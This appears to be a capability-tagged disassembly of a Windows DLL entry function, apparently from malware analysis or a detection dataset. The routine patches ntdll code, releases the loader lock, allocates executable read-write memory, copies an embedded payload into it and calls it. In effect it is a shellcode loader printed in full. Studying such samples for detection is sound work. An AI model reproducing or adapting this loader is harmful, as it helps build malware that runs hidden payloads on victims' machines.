Function at 0x180001100
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header

Disassembly:
mov rax, rsp
sub rsp, 0x3b8
cmp edx, 1
jne 0x180001441
mov qword [rax + 8], rbx
lea rcx, str.ntdll.dll
mov qword [rax + 0x18], rbp
mov qword [rax - 8], rsi
mov qword [rax - 0x10], rdi
mov qword [rax - 0x18], r14
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r11, rax
mov ebx, 6
mov eax, 0x5a4d
cmp word [r11], ax
jne 0x1800011c0
movsxd rcx, dword [r11 + 0x3c]
add rcx, r11
cmp dword [rcx], 0x4550
jne 0x1800011c0
movzx edi, word [rcx + 0x14]
xor r8d, r8d
movzx r10d, word [rcx + 6]
add rdi, rcx
test r10d, r10d
je 0x1800011c0
lea rsi, str..text
movsxd rax, r8d
lea rcx, [rax + rax*4]
xor eax, eax
lea r9, [rcx*8]
lea rdx, [r9 + rdi]
nop word [rax + rax]
movzx ecx, byte [rsi + rax]
inc rax
cmp cl, byte [rdx + rax + 0x17]
jne 0x1800011b8
cmp rax, rbx
jne 0x180001190
mov eax, dword [r9 + rdi + 0x20]
mov edi, dword [r9 + rdi + 0x24]
add rdi, r11
mov dword [rsp + 0x3c8], eax
jmp 0x1800011c2
inc r8d
cmp r8d, r10d
jl 0x180001171
xor edi, edi
mov ebp, dword [rsp + 0x3c8]
lea rdx, [0x180005084]
add rbp, rdi
mov r9d, 7
mov r8, rbp
mov rcx, rdi
call fcn.180001010
test rax, rax
je 0x180001209
mov edx, dword [rax + 0x15]
mov dword [rdx + rax + 0x1a], 0
mov edx, 0xefff
mov rax, qword gs:[0x30]
and word [rax + 0x17ee], dx
mov r14, qword gs:[0x60]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rsi, rax
test rax, rax
je 0x180001288
lea rdx, str.RtlLeaveCriticalSection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [r14 + 0x110]
call rax
lea rdx, str.LdrFastFailInLoaderCallout
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180001260
mov edx, dword [rax + 0x18]
mov dword [rdx + rax + 0x1d], 2
mov r9d, 0xa
lea rdx, [0x180005078]
mov r8, rbp
mov rcx, rdi
call fcn.180001010
test rax, rax
je 0x180001288
mov ecx, dword [rax + 5]
mov dword [rcx + rax + 9], 2
mov r14, qword [rsp + 0x3a0]
lea rcx, [rsp + 0x20]
mov rdi, qword [rsp + 0x3a8]
lea rdx, [0x1800031b0]
mov rsi, qword [rsp + 0x3b0]
mov rax, rbx
mov rbp, qword [rsp + 0x3d0]
nop word [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x1800012c0
movups xmm0, xmmword [rdx]
mov rax, qword [rdx + 0x70]
mov r8d, 0x3000
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmmword [rcx + 0x60], xmm0
mov qword [rcx + 0x70], rax
mov eax, dword [rdx + 0x78]
mov dword [rcx + 0x78], eax
movzx eax, word [rdx + 0x7c]
mov word [rcx + 0x7c], ax
movzx eax, byte [rdx + 0x7e]
mov edx, 0x37f
mov byte [rcx + 0x7e], al
xor ecx, ecx
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
lea rdx, [rsp + 0x20]
mov rcx, rax
nop dword [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rbx, 1
jne 0x180001390
movups xmm0, xmmword [rdx]
mov rax, qword [rdx + 0x70]
movups xmm1, xmmword [rdx + 0x10]
mov rbx, qword [rsp + 0x3c0]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmmword [rcx + 0x60], xmm0
mov qword [rcx + 0x70], rax
mov eax, dword [rdx + 0x78]
mov dword [rcx + 0x78], eax
movzx eax, word [rdx + 0x7c]
mov word [rcx + 0x7c], ax
movzx eax, byte [rdx + 0x7e]
mov byte [rcx + 0x7e], al
call r8
mov eax, 1
add rsp, 0x3b8
ret